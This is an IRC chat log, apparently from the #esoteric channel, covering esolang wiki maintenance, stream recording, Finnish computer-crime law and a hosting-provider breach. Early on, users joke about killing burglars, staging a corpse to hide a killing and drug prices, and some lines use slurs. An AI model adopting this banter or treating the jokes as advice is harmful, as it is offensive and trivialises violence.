22:00:14 <fizzie> You should keep switching between Friendship and Magic every three minutes to reinforce the fact that they are the same thing.
22:00:21 <Friendship> oklodol: I got Gregor by asking them to drop the old one.
22:00:23 -!- KirkkoPoltin has changed nick to KirkenBrenner.
22:00:39 <oklodol> Friendship: well right, but if you're a nice little sheeple and don't do that.
22:01:20 <oklodol> soon, we wouldn't even see the nick change anymore
22:02:05 <oklodol> we would just feel Friendship's presence
22:02:59 <oklodol> i have had the nick o here multiple times, and i don't think it was even registered.
22:03:15 <oklodol> but then i'm like hey i never disconnect so why bother
22:05:28 <oklodol> KirkenBrenner: where was your finnish from?
22:05:47 <HackEgo> intaviiheellityksi tultani ankinamme sinne varjailevin tereen velevinansa varhaisemme sallasi toisimmilta kaimpia kurskytkemme perusteni hillansa kirjoavistansa kahvempansa enomporuktivat peitteltaan loukuppimissa raammellymyille yleimoilleni yhdisterailla rekkaimetron kiellaajimien yleivisellennu
22:06:33 <oklodol> hillansa is an actual finnish word!
22:08:27 <oklodol> tultani, technically ankinamme, sinne, tereen could be, varhaisemme, sallasi, kaimpia obviously, hillansa, yhdisterailla
22:08:42 <oklodol> some may be slightly far-fetched
22:09:25 <ion> What’s railla?
22:09:26 <KirkenBrenner> Bitch du gjennomvåt bønner for lang. Nå ræva stinker.
22:10:19 <oklodol> can varhaisemme actually be used somehow?
22:10:25 <KirkenBrenner> Almost time to go. I have to go buy ammunition before work.
22:10:42 <fizzie> "tereen" is probably some dialectal greeting.
22:10:43 <oklodol> KirkenBrenner: for burning churches?
22:11:06 <KirkenBrenner> I'm a pizza delivery driver and people try to mug me alot
22:11:55 <KirkenBrenner> This girl I work with got shoved into a closet and her car was parted out
22:12:21 <fizzie> I read that twice as "people try to hug me alot".
22:12:22 <oklodol> in finland, the worst that usually happens to me is that someone wants me to drink with them
22:12:47 <KirkenBrenner> That happens when I deliver to the college, chicks playing beer pong
22:13:15 -!- tikfreenode has changed nick to Tiktalik.
22:13:43 <oklodol> in america, can't you just keep shooting?
22:14:10 <oklodol> don't you have the death penalty?
22:14:28 <fizzie> The paperwork is probably also... murder.
22:14:35 <oklodol> but a fine for killing someone?
22:14:40 <KirkenBrenner> If someone breaks into my house I can shoot them. But if they die I have to pay a fine.
22:15:08 <oklodol> so better not break into anyone's home unless they're poor
22:15:42 <oklodol> so if 10000 is something you can easily pay, could you just have machine guns pointed at the front door, killing anything that breaks in?
22:15:51 <KirkenBrenner> this one guy in california broke into a house and drown in the pool. his family sued and got over a million for them not making their pool safe to would be burglars
22:16:56 <KirkenBrenner> If you have the right permit for the machine gun then you could just set it up by the front door i guess
22:17:55 <KirkenBrenner> One man i delivered to opened the door all surprised weilding a shotgun. I mean, he called me to deliver the pizza! Didn't he know I was coming?
22:19:41 <oklodol> 10000 for killing someone who breaks in, 1000000 for him dying by accident?
22:21:29 <KirkenBrenner> not sure, $10k if they die from your actions i think
22:21:57 <KirkenBrenner> but if you just drag someone into your house and kill them, then it's murder
22:23:23 <oklodol> unless they were dressed provocatively ofc
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22:24:08 <KirkenBrenner> just put $10 in the pocket of the corpse and claim it was prostitution gone wrong
22:24:51 <oklodol> i hear there are whores in finland
22:25:42 <oklodol> weed is not something you can just go and buy unless you know ppl
22:25:55 <oklodol> it's like the most boring country in europe
22:26:56 <KirkenBrenner> damn, just walk up to someone and they have weed. usually shitty mexican weed. good weed is like $120 a quarter ounce
22:27:29 <oklodol> i have ways to get weed, and i don't really use it
22:27:35 <KirkenBrenner> acid was like 50 cents a hit, but now its like 10 bucks
22:27:36 <oklodol> my point is finland is boring
22:27:50 <oklodol> people do try to buy weed from me all the time
22:27:59 <oklodol> because i often look like i live on the street
22:28:08 <oklodol> i don't think finland has criminals
22:28:40 <oklodol> but seriously i don't know whether we even have the concept of probation here.
22:29:18 <oklodol> any other finn would probably know
22:30:43 <fizzie> oklodol: Ehdonalainen vankeusrangaistus.
22:31:10 <oklodol> that doesn't really mean we have it in finland
22:32:50 <fizzie> oklodol: As far as I know we do, and it happens quite a lot for non-repeat offender
22:34:08 <fizzie> Also virii-writing has been criminalized; it's 9a§ of chapter something of rikoslaki.
22:34:27 <fizzie> "1) tuo maahan, valmistaa, myy tai muuten levittää taikka asettaa saataville
22:34:32 <fizzie> a) sellaisen laitteen tai tietokoneohjelman taikka ohjelmakäskyjen sarjan, joka on suunniteltu tai muunnettu vaarantamaan tai vahingoittamaan tietojenkäsittelyä ..."
22:35:21 <fizzie> It's called "vaaran aiheuttaminen tietojenkäsittelylle", and you can get a fine or at most two years of prison.
22:35:45 <oklodol> yeah like a virus could ever actually work
22:36:10 * oerjan checks that norway has probation
22:37:09 <oklodol> fizzie: why does it have "tietokoneohjelman" and "ohjelmakskyjen sarjan" separately?
22:38:37 <oklodol> fizzie: possession is not a crime then
22:38:44 -!- KirkenBrenner has quit (Ping timeout: 245 seconds).
22:39:46 <fizzie> oklodol: It is, too (that's para 9b), but only when it's with intent to do harm with it.
22:40:09 <fizzie> "Joka aiheuttaakseen haittaa tai vahinkoa tietojenkäsittelylle taikka tieto- tai viestintäjärjestelmän toiminnalle tai turvallisuudelle pitää hallussaan 9 a §:n 1 kohdan a alakohdassa tarkoitettua laitetta, tietokoneohjelmaa tai ohjelmakäskyjen sarjaa taikka b alakohdassa tarkoitettua salasanaa, pääsykoodia tai muuta vastaavaa tietoa, on tuomittava tietoverkkorikosvälineen hallussapidosta sakkoon tai vankeuteen enintään kuudeksi ...
22:41:30 <oklodol> "joka on suunniteltu tai muunnettu vaarantamaan tai vahingoittamaan"
22:41:39 <oklodol> so i suppose you can write a virus as long as your intentions are good
22:43:33 <fizzie> Yes, the manufacturing part also requires intention to do harm.
22:44:02 <ion> oklodol: and you can prove it
22:44:32 -!- pikhq has joined.
22:44:53 <fizzie> But also planning to "-- murtamaan tai purkamaan sähköisen viestinnän teknisen suojauksen tai tietojärjestelmän suojauksen --" even with "good intentions" is criminal.
22:44:54 <oklodol> i don't have to prove i didn't buy a pen to kill my friends
22:45:33 -!- augur has quit (Remote host closed the connection).
22:45:41 <oklodol> so i wonder what they do in the cryptography department
22:46:29 <oklodol> my friend just implemented a man-in-the-browser attack and they're publishing it. i wonder if he and his supervisor are going to jail.
22:46:51 <oklodol> well i suppose it wasn't really a full thing.
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22:53:02 -!- elliott has joined.
22:53:32 <lambdabot> elliott: You have 1 new message. '/msg lambdabot @messages' to read it.
22:58:17 <fizzie> oklodol: Sorry, actually there's an even more general "aiheuttaakseen haittaa tai vahinkoa" 'top-level' conditional before my quoted bit that also binds to the part about breaking protections. So I guess your friend is safe.
23:00:35 <elliott> pikhq: You can use mplayer or something to record a stream, right?
23:02:00 <elliott> pikhq: Excellent. This is the part where you tell me how.
23:02:05 <elliott> (Preferably with no transcoding.)
23:02:45 <pikhq> mplayer -dumpstream -dumpfile file-here url://goes/here
23:03:22 <elliott> Is there a way to play it at the same time too, or should I just run two of 'em
23:03:48 <pikhq> If you're moderately lucky, you can start playing the saved file.
23:03:55 <fizzie> oklodol: (Though of course it's a completely different thing if it's code for breaking a copy protection; I mean, even "organized discussion" about that is illegal.)
23:04:10 <pikhq> (works with some muxing formats)
23:04:33 <elliott> Running two takes twice the bandwidth. :(
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23:09:45 -!- pikhq_ has joined.
23:09:58 <fizzie> VLC can both play and capture, though it might be difficult to get a totally raw dump. (It's easy-ish to have it not transcode any streams, but I have a feeling it might still want to remux things.)
23:11:33 <elliott> Well, it doesn't need to be raw; I just don't it to decrease the quality of an already low-quality MP3 stream.
23:11:48 <elliott> (Okay, 128 kbps is not really that low-quality as far as streams go.)
23:12:57 -!- pikhq has quit (Ping timeout: 260 seconds).
23:13:17 <elliott> fizzie: Anyway, standard "but then I'd have to use VLC" response.
23:14:09 <fizzie> There is that, of course. Though with MP3 it sounds possible you could mplayer the file it's saving, as long as there are no "buffering..." issues.
23:14:48 <elliott> Well, yes, but I could just do that with plain mplayer.
23:14:56 <elliott> But the buffering thing soudns annoying, as the stream does buffer occasionally.
23:27:52 -!- MDude has joined.
23:29:28 <oerjan> elliott: all remaining information about Spaz i can find is that it inspired Hanoi Love. :(
23:32:40 <elliott> oerjan: oh, I wasn't going to delete Spaz, don't worry
23:32:46 <elliott> although feel free to add that info to the page
23:32:56 <elliott> what's your source, out of curiosity?
23:34:01 <elliott> oerjan: the reason I edited it was because I was going through http://esolangs.org/wiki/Special:ShortPages
23:34:22 <oerjan> i got a bit uneasy about your ADEL deletion description, but i see the sourceforge page doesn't contain anything either.
23:34:40 <elliott> oerjan: I looked through the entire history
23:34:50 <elliott> oerjan: this is what the page looked like
23:34:50 <elliott> The following text is an excerpt from the ADEL README file, which can be found at [http://adel.sf.net|ADEL's SF.net Project Page].
==Contents==
23:35:08 <elliott> the later revisions by the same author jiggled things around to fix the link but added no content.
23:35:13 <elliott> apparently it was a very short excerpt.
23:35:39 <oerjan> well i was talking about content on sourceforge
23:35:48 <elliott> right, I did look at it but it seemed completely unused to me
23:36:12 <elliott> and there's no source repo on the account.
23:36:17 <elliott> also "As of 2011-01-29, this project is no longer under active development."
23:36:36 <elliott> don't worry, I wouldn't delete stuff without discussion if it wasn't completely contentless :P
23:36:55 <elliott> oerjan: btw by "literally an article with a stub mark and nothing else" I mean the content of the article was actually "{{stub}}"
23:37:12 <elliott> oerjan: before that, it was "{{Category:Stubs}}"
23:37:29 <elliott> then before that it was the variations on the "excerpt"
23:38:01 <elliott> http://esolangs.org/wiki/Sammich oh come on
23:38:16 <elliott> how many awful languages is that guy responsible for
23:38:51 <elliott> hey, r.e.s. still edits on wikipedia! http://en.wikipedia.org/wiki/Special:Contributions/R.e.s.
23:39:38 <oerjan> <elliott> don't worry, I wouldn't delete stuff without discussion if it wasn't completely contentless :P <-- good to know :)
23:40:24 * elliott is procrastinating doing something about [[User:Nthern/archive]]
23:40:34 <elliott> which (a) should be on the File Archive, (b) contains several apparent copyvios
23:40:57 <elliott> but (c) contains lots of useful stuff, so I don't want to just outright delete it for copyvio *sigh*
23:45:30 <shachaf> elliott: Did you see the GHC error?
23:47:05 <oerjan> elliott: well he put it there himself...
23:47:35 <elliott> oerjan: yes, but there are derivative works there with other licenses
23:49:39 <elliott> hey oerjan http://ompldr.org/vY3duYg
23:52:03 <elliott> oerjan: that's not a long string of capital As :(
23:52:55 <lambdabot> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
23:53:58 <oklodol> the fuck is wrong with that guy :D
23:54:16 <oklodol> well at least he's making basic derivatives rather than bf derivatives
23:56:29 <oerjan> like fancy, but applied to something completely inverted
23:57:00 <elliott> hey oerjan, I created a template for Wayback Machine links that shows the date of retrieval
23:57:06 <elliott> do you wanna help me convert all the existing links :DDDDD
23:58:15 <elliott> Template:3} (from the Wayback Machine; retrieved on Error: invalid time)
23:58:42 <oerjan> a frequent danger of time travel
23:59:28 <Friendship> The question is, was it an invalid time in the first place, or did the Wayback Machine render it invalid?
23:59:34 <Friendship> If the latter, hoo boy, we're in trouble now.
00:00:07 <elliott> BogusForth website (from the Wayback Machine; retrieved on Error: invalid time)
00:00:11 -!- augur has joined.
00:01:10 <elliott> http://esolangs.org/wiki/Esolang:Sandbox yay
00:02:35 <Friendship> WHOAH the Wayback Machine from R&B&F was actually a "WABAC Machine"
00:02:52 <pikhq_> Yeah, totally backronymed.
00:02:59 -!- derdon has quit (Remote host closed the connection).
00:03:11 <Friendship> pikhq_: The acronym doesn't expand to anything, so yeah.
00:03:21 <Friendship> It was just made to look like an acronym but sound like "way back"
00:03:34 <elliott> Wacky Acronym Bullshit: All a Con
00:06:33 <Friendship> Where is the nonsense in our topic from?
00:07:25 <elliott> Friendship: :JUDGE: something or other
00:07:43 <elliott> http://en.wikipedia.org/wiki/David_Wynn_Miller
00:09:07 <Friendship> According to Miller's teaching, the addition of hyphens and colons to one's name turns one from an ordinary, taxable human into a non-taxable “prepositional phrase.”
00:10:48 -!- Friendship has changed nick to GREGOR-FRIENDSHI.
00:11:00 -!- GREGOR-FRIENDSHI has changed nick to Friendship.
00:11:07 <elliott> I think the government should actually have a system whereby you can indeed withdraw from your "legal persona" and be exempt from paying taxes, so long as you give up all possessions of that legal persona and no longer partake in the use of anything ever funded by taxes.
00:11:28 <elliott> All the conspiracy theorists would have to just go off into the wilderness and pick themselves off one by one.
00:12:28 <elliott> oerjan: btw the "external resources link" in http://esolangs.org/wiki/Language_list's TOC is now pointless... as is the "Top of page" one for that matter
00:12:39 <elliott> not sure how to adjust the TOC without it looking uglier though
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00:13:51 <pikhq_> elliott: Highly tempting. I'm not entirely sure if it's actually implementable, but it would be nice to be able to have the crazies just... Not be in our legal system.
00:14:02 <zzo38> Become not human person? But still apply sales tax anyways?
00:14:26 <pikhq_> zzo38: No, they would be exempt from all taxes and exempt from all tax-paid services.
00:14:26 <elliott> zzo38: No, what are you talking about? You can't *buy* things if you don't have a legal person.
00:14:34 <Friendship> zzo38: More like non-person human. And you certainly won't buy things from stores, that needs money and roads.
00:14:39 <pikhq_> This would include the regulated markets.
00:14:44 <elliott> pikhq_: (Note: This would actually just encourage them.)
00:15:13 <elliott> If Obama doesn't have a birth certificate...
00:15:18 <elliott> Does that mean he doesn't have to pay taxes?
00:15:45 <pikhq_> elliott: Except their life expectancy would be approximately the same as the life expectancy of early agricultural societies.
00:15:56 <pikhq_> Or, if they're lucky, a particularly incompetent hunter-gatherer band.
00:16:03 <zzo38> pikhq_, elliott, Friendship: You seem to be missing the point I am trying to make. (I mean you are neither human nor person; you need to do a scientific experiment to change something; and then if someone is willing to sell you stuff anyways, you still have to pay sales tax because that is paid by the vendor)
00:16:24 <elliott> It's true, I often miss the points zzo38 tries to make.
00:16:47 <kmc> you're talking about :David-Wynn: Miller
00:16:59 <pikhq_> zzo38: Except they would by necessity be barred from the store, as that is in part a tax-paid service.
00:17:12 <elliott> kmc: No, we did that yesterday. Now we're talking about talking about :David-Wynn: Miller.
00:17:19 <kmc> QUANTUM-LANGUAGE-PARSE-SYNTAX-GRAMMAR is the Correct Language, as it is based on fact. There is no ambiguity with anything Quantum, it is purely Mathematical. Have you ever thought of Language being Mathe
00:17:37 <elliott> kmc: You're the one who started us talking about it, to be precise :P
00:17:51 <kmc> i was drunk and stoned and reading about :david-wynn: miller
00:17:54 <kmc> and it reminded me of #esoteric
00:18:31 <elliott> hey oerjan should i take down the sitenotice or leave it up
00:19:04 <kmc> "what is government if words have no meaning?"
00:19:36 <oerjan> by murphy's law, the wiki won't start breaking until you take it down.
00:22:26 <zzo38> pikhq_: If a window is opened and a bird flies in and knocks over the merchandise, or a meteor from space falls in and breaks the merchandise, neither birds nor meteors pay taxes...... dead people don't pay taxes either (although sometimes there are death taxes)......
00:23:01 <pikhq_> Yes, and none of those make transactions within our legal framework.
00:24:15 <zzo38> But what if a store specializes selling things to dead people? Obviously such a things would be crazy, but philosophically you have to think of it anyways
00:24:23 <pikhq_> Just as a legally excommunicated person couldn't.
00:25:35 <elliott> oerjan: ok i'll leave it up forever then
00:25:48 <zzo38> I know some things about excommunication in the Roman Catholic Church but that is different
00:25:50 <elliott> "If a window is opened and a bird flies in and knocks over the merchandise, or a meteor from space falls in and breaks the merchandise, neither birds nor meteors pay taxes" ;; this is beautiful
00:26:11 <pikhq_> zzo38: Yes, I'm merely saying it's analogous.
00:26:32 <zzo38> elliott: Oops, the second comma should be a semicolon
00:26:44 <elliott> That makes it worse though :(
00:27:09 <elliott> http://en.wikipedia.org/wiki/Esoteric_programming_language is a mess
00:27:13 <zzo38> But if it is changed to a semicolon then it means what I intended it to mean instead of what it means with two commas which is not what I intended it to mean.
00:28:10 <zzo38> elliott: Then fix it.
00:28:14 <kmc> /nick :k-m:c
00:29:18 <elliott> zzo38: i would but have no idea where to start
00:33:10 <elliott> http://en.wikipedia.org/w/index.php?title=Brainfuck&diff=prev&oldid=476993420
00:33:18 <elliott> oerjan: what do you think of the assertion that brainfuck doesn't have a tape?
00:33:27 <elliott> "array" seems much less suitable to me, because of the restricted movement patterns
00:34:06 <oerjan> if brainfuck doesn't have a tape, then neither does a turing machine
00:34:46 <oklodol> wikipedia is written by retards, what did you expect
00:35:02 <elliott> oklodol: that edit was made by daniel b cristofani.
00:35:15 <zzo38> Wikipedia is written by people other than retards too, however.
00:35:32 <oerjan> i suppose one might ask what terminology brainfuck itself uses
00:35:42 <elliott> oerjan: grr, it looks like http://esolangs.org/w/index.php?title=Special%3ALinkSearch&target=*.archive.org&namespace=0's results include links by the template :(
00:36:04 <elliott> oerjan: oh, wait, easy to fix
00:36:07 <elliott> I'll remove the link from the template temporarily
00:36:35 <oerjan> btw i've started editing some
00:36:52 <elliott> gah still didn't help. apparently because of caching
00:38:23 * elliott starts from the bottom to avoid conflicts
00:40:46 <elliott> http://esolangs.org/wiki/MechaniQue we need a {{complete mess}} to stick on things like this
00:40:51 <oerjan> elliott: um your removing the link means i cannot see if my edit looks right
00:41:39 <elliott> oerjan: well ok i can put it back
00:42:26 <oklodol> elliott: what's wrong with MechaniQue? seems more thought out than a lot of stuff in there.
00:45:33 <elliott> oerjan: :D this wayback link is a {{deadlink}}
00:45:49 * elliott considers plugging it into the wayback amchine
00:47:47 <oerjan> hm i think we _don't_ want the template on the EsoInterpreters page.
00:48:04 <elliott> ugh, don't remind me of EsoInterpreters
00:48:09 <elliott> it desperately needs to be maintained by a bot
00:48:34 <elliott> oerjan: btw you haven't been marking your edits as minor :P ...come to think of it, I don't think that actually has any use on Esolang
00:51:27 <oerjan> i didn't think these were minor enough
00:52:40 <elliott> oerjan: i wasn't complaining, just noting in case you intended to but forgot
00:53:10 <elliott> i've often gone on minor-edit sprees and forgotten to mark them half-way through
00:53:22 <elliott> hmm, EsoInterpreters should really have a better tite
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01:00:09 <elliott> oerjan: haha, i clicked to edit a page with the old links
01:00:14 <elliott> and you had already got there before it loaded
01:01:51 <MDude> Esotericist, maybe?
01:03:14 <MDude> http://en.wiktionary.org/wiki/esotericist
01:03:22 * elliott knows, but isn't sure of relevance
01:03:38 <MDude> <elliott> hmm, EsoInterpreters should really have a better tite
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01:04:06 <MDude> I figures a noun relating to the esoteric could work.
01:04:53 <elliott> [[EsoInterpreters]] is a page on the wiki
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01:05:03 <elliott> it's actually just a matrix or cross-reference of interpreters of esoteric languages in other esoteric languages
01:05:03 <oerjan> elliott: looks like we've met in the middle?
01:05:09 <elliott> but that's a bit too long for a title
01:05:25 <elliott> oerjan: oh, I started doing them slower and semi-randomly because I brb'd for a while and have a headache
01:05:38 <elliott> probably all of them are done now, though
01:08:18 <oerjan> you've checked with that link removal thing?
01:09:05 <elliott> oerjan: well it didn't really seem to work the last time, I think template stuff actually isn't shown
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01:24:13 <elliott> I think to the vast majority of the planet, all programming language is esoteric... NERDS!- Moshe Constantine Hassan Al-Silverburg | Talk 18:55, 16 October 2008 (UTC)
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01:34:22 * elliott suddenly realises what he's been doing wrong all this time
01:34:33 <elliott> oerjan: i'm making you an administrator, and putting you in charge of controversial deletion discussions
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01:40:47 <Friendship> "Moshe Constantine Hassan Al-Silverburg" // this is the single most likely name in the history of the world.
01:41:16 <Jafet> My best friend is an Al-Silverburg
01:44:00 <elliott> oerjan: btw you started esointerpreters right
01:47:26 <oerjan> um and no i don't think so
01:47:50 <oerjan> i'd imagine the history page might tell...
01:48:19 <oerjan> Friendship: needs more chinese
01:48:30 <elliott> but you worked a lot on it :P
01:49:35 <elliott> http://static.fsf.org/nosvn/appeal2010/bundles.png
01:52:35 <Jafet> "How to Grow a Unix Beard" INCLUDED FREE, LIMITED TIME OFFER
01:53:01 <Jafet> (free as in beard?)
01:58:59 <elliott> "This book collects the writing of Richard Stallman in a manner that will make its subtlety and power clear."
01:59:07 <elliott> If there's one thing I associate with rms, it's subtlety.
01:59:26 <pikhq> Especially his writing.
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02:11:18 <shachaf> elliott: HLEP my battery is running out.
02:11:37 <shachaf> What decision could I have made in the recent past that would be causing it not to run out right now.
02:12:09 <Jafet> Discharging the battery
02:12:58 <elliott> shachaf: Buying another laptop.
02:13:06 <elliott> One with a longer battery.
02:13:23 <shachaf> I'm pretty another laptop's battery would have been shorter.
02:14:43 <elliott> oerjan: [[LOLCODE]] says "This article is a stub, which means that it is not detailed enough and needs to be expanded. Please help us by adding some more information."
02:14:48 <elliott> oerjan: i think we should remove everything after the first comma.
02:15:24 <elliott> ...including the article that follows
02:16:08 <shachaf> elliott: What about the comma?
02:17:17 <oerjan> i think you are joking.
02:20:08 <elliott> I really like that we've somehow established this ritual of implementing Deadfish in a language to be an insult to both the language and Deadfish.
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02:22:42 <shachaf> Why would you waste your breath insulting Deadfish?
02:22:54 <shachaf> It looks like a fine language for exactly the thing that it's meant for.
02:23:23 <shachaf> My battery is about to run out. :-(
02:23:53 <shachaf> If I become disconnected, the only th#*#@*R$#@NO CARRIER
02:24:11 <elliott> Did you know I woke up at 10 pm?
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02:25:45 <elliott> What the fuck just happened to my reputation trail. :(
02:27:27 <monqy> did esowiki happen
02:35:36 * oerjan does not think it's an insult to either party
02:39:52 <elliott> oerjan: i refuse to believe the proliferation of deadfish interpreters started because it is a good language
03:07:29 <MDude> Maybe it started because it's a kind of cool sounding name?
03:09:02 <MDude> http://www.toplessrobot.com/2012/03/optimus_prime_politely_suggests_we_all_go_to_space.php
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03:36:44 <elliott> welcome to the world's worst ghost containment facility
03:37:39 <oerjan> nothing a handful of pentagrams cannot fix
03:40:35 * oerjan draws a pentagram with a crayon
03:41:20 * oerjan draws a sparrow on the box
03:41:33 <elliott> world's best ghost containment facility
03:52:04 <elliott> monqy awarded best ghost container prize
03:52:41 <oerjan> fine, fine, you just make him an admin as well.
03:55:16 <elliott> oerjan awarded best wiki admin
03:55:47 <oerjan> "It was all because of hard work"
03:56:26 <elliott> one of these days i'll make oerjan a wiki admin and who will be laughing then
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04:24:09 <elliott> oerjan: have yuo ever curated a museum of deer
04:24:48 <elliott> have you ever flew into a barrel while aiming a shotgun at the empire state building
04:26:27 <elliott> have you ever shown the sun's rings to anybody over the age of 741
04:27:00 <elliott> and finally: have you ever looked fresh turpentine in the eye in summer or spring
04:31:56 <oerjan> i don't think i have ever found the eyes
04:32:03 <elliott> you have passed the test. welcome to the ranks of the wiki administrators.
04:33:15 <elliott> (every time i do this i wonder whether it'll be funnier to make this time the one i actually do it or to wait)
04:39:07 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
04:39:08 <myndzi> ¦ | | `\o/´ | | | `\o/´ | | |
04:39:08 <myndzi> ´¸¨ /| >\ | >\ >\ /| | /| /`\ /|
04:39:15 <elliott> ^rainbow \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
04:39:15 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
04:39:23 <elliott> myndzi: id like to report a deficiency in ur script.
04:41:44 <elliott> oerjan: can you believe it's 5 am
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05:06:42 <oerjan> given that considerate is, seems likely
05:07:05 <elliott> wiktionary just lists it as latin
05:07:49 <oerjan> desiderata is well-known enough
05:08:47 <elliott> hm what's the singular of that
06:18:52 <Sgeo> elliott, monqy kallisti (absent) UPDATE
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07:42:39 <elliott_> can someone buy me an optical drive
07:49:12 <elliott_> why aren't you saying anything
07:49:37 <elliott_> i dont understand whats going on
07:51:13 <elliott_> monqy has tarred me with the brush of shame
07:51:44 <olsner> I had a dream about needing an optical drive
07:53:47 <elliott_> cant fucking stand the wattage on theset hings. said jurtr,
07:54:25 <elliott_> how difficult is it to install windows
07:54:28 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: NO: not found
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07:56:47 <fizzie> elliott_: Have you been "sleeping" lately? (It does not look like it.)
07:58:05 <elliott_> fizzie: can you buy me an optical drive please
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08:00:32 <Sgeo> (setf *readtable* nil)
08:04:55 <zzo38> A long time ago I made a clone of MESH:Hero in PHP, called PuzzleMesh, but it is slow, it crashed a lot, and never got completed. I might make new one in C; what should I call it? And what other idea? Some idea of names is "PuzzleMesh", "OSCOEVME" (open source clone of Everett Kaser's Mesh engine), "GOIC" (game of interwoven challenges), "CTHAFTE" (collect the hearts and find the exit), etc.
08:05:09 -!- Phantom_Hoover has joined.
08:08:11 <zzo38> Do you have better idea please?
08:08:59 <shachaf> elliott_: You know what *really* makes this computer hot?
08:09:21 <shachaf> When I have a rogue chromium process taking 100% CPU.
08:09:44 <elliott_> my chrmoiums just take up a lot of cpu always and slow things down and im cry
08:09:47 <zzo38> I do intend to omit some features (such as Animate, Level, LevelCount, etc), and implement some features a bit differently to ensure that replay won't be broken and that it won't cause GPF, but also to add a few new features.
08:11:19 -!- cheater has joined.
08:13:31 <fizzie> elliott_: See here, you're trusting the future of esolanging to a VPS provider who can't even keep people's bitcoins safe: http://bitcoinmedia.com/compromised-linode-coins-stolen-from-slush-faucet-and-others/ --
08:14:19 <elliott_> "Rest assured: I am covering Linode’s mistake from my own income. That means months of my work is wasted and I’m crushed."
08:14:24 <elliott_> In the second paragraph this guy is already unbearable.
08:15:20 <fizzie> There's also a link to a posting from another dude who lost OVER NINE THOUSAND bitcoins.
08:15:38 <Sgeo> Although the letter from Linode...
08:15:44 <Sgeo> Unless that's faked, that is alarming
08:16:15 <elliott_> "We were alerted to the suspicious activity and have identified and corrected the issue. Our investigation has revealed a customer support interface was used to access your account. The compromised credentials have been restricted and we are discussing policy changes to prevent this from recurring."
08:16:20 <elliott_> meh its not any "real" real security flaw
08:16:29 <elliott_> just privileged credentials getting into the wrong hands
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08:16:52 <Sgeo> It is indicative of the worst security flaw known.
08:17:02 <Sgeo> I believe that the technical term is "Homo sapiens"
08:17:25 <elliott_> man who the fuck is ipv6ing solidity
08:17:28 <elliott_> just tiny little blips on the map
08:18:04 <fizzie> Do you even have any oerjan (aka AAAA) domain names pointing at it?
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08:18:33 <elliott_> fizzie: So 9000 BTC is about $3, right?
08:18:33 <elliott_> http://status.linode.com/2012/03/manager-security-incident.html here are teh statement
08:18:36 <elliott_> good thing they're only targetting people who use bitcoin
08:18:43 -!- MoALTz_ has joined.
08:18:49 <elliott_> i pledge never to put any bitcoins on solidity
08:19:08 <elliott_> fizzie: nope i'll have to email THE ALAN DIPERT for that
08:20:35 <fizzie> But how about if you wanted to add some BITCOIN MICROPAYMENTS to the wiki? Like, 0.50 BTC to edit a page; 200 BTC to get a red banner mentioning your page on the Main Page for a day; and so on.
08:20:36 <elliott_> fizzie: mind you i don't like the idea that they have a single auth token that offers global root like that
08:21:46 <elliott_> "About 3 years ago, a budget OpenVZ virtual hosting company with thousands of customers got completely destroyed, all data lost, allegedly because of an unpatched bug in the then-popular HyperVM customer portal. The Indian guy who sold HyperVM committed suicide the next day." whoah
08:23:15 <elliott_> meh unless anyone has any other suggestions as far as providers go i'll stick with linode
08:23:19 <elliott_> not like the wiki db is that sensitive
08:23:22 <zzo38> I did think of a method to transfer money by computer (and even other secure communication channels) in a way which is anonymous and is linked to real cash, and is also limited to your specification, and can cut into as small pieces as you want. For internet, SSH would be used and a set of commands available (and the same commands would be used for internet banking). As far as I know, this has not been implemented.
08:24:25 <fizzie> elliott_: I suggest keeping the server under your bed and not connecting it to a network, then the wiki would finally be safe.
08:24:35 <elliott_> fizzie: ooh and that would stop people posting bf derivs too
08:24:46 <zzo38> fizzie: But then it would also be unusable.
08:25:12 <elliott_> not like you to object to a perfect but useless solution
08:25:14 <fizzie> There's that; but it's like a win-win-lose situation then, and 2 > 1.
08:25:15 <zzo38> (Unless everyone who wants to use go to your house and can sit under your bed; that is difficult.)
08:25:28 <elliott_> yeah everyone here is welcome to come to my house and sit under my bed to use the wiki
08:25:40 <elliott_> if im sleeping please be quiet
08:26:14 <fizzie> "There's a monster under my bed!" "No, no, that's just an esolang wiki visitor."
08:26:38 <elliott_> i would feel v. safe with a bunch of you guys under there
08:28:21 <shachaf> Did someone say BF derivative?
08:28:52 <zzo38> Madoka-Kaname: You do it yourself; many people in here doesn't like it
08:29:37 <zzo38> What should I call the free Hero Mesh clone?
08:30:24 <shachaf> elliott_: I'll go to your house and sit under your bed and use the wiki!
08:32:51 <elliott_> Q street q q q q q q q q x hexham.
08:33:39 <shachaf> elliott_: Did you ever figure out that two-dimensional zipper?
08:33:42 <zzo38> elliott_: Is there an abbreviation for that?
08:34:03 <zzo38> shachaf: What is a two-dimensional zipper?
08:34:23 <shachaf> zzo38: I was wondering if elliott_ knew.
08:34:38 <zzo38> But I also want to know what it is, too.
08:35:16 <zzo38> elliott_:What is a two-dimensional zipper?
08:35:45 <shachaf> Almost as good as eliot_:what
08:36:09 <elliott_> shachaf: where aer free monads in todays edwardk universe
08:36:13 <zzo38> Oops I forgot a space.
08:36:17 <elliott_> http://hackage.haskell.org/package/free oh here
08:36:34 <elliott_> more like free gonads hehehehehheheheheheheheheheheheheheehehehehhehhehhehehehehehehcaugh huhcuahuhwchwuih owerh iwoehf ufh owe keels over
08:37:14 <shachaf> elliott_: _Rosencrantz & Guildenstern Are Dead_ is good.
08:37:17 <olsner> elliott_: time to sleep?
08:38:45 <elliott_> olsner: no i gotta wait for that
08:38:49 <elliott_> shachaf: that sounds like work
08:39:07 <elliott_> fun work???????????????????????????????
08:39:54 <elliott_> fashion? more like FASChionism
08:40:02 <shachaf> ⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇⁇
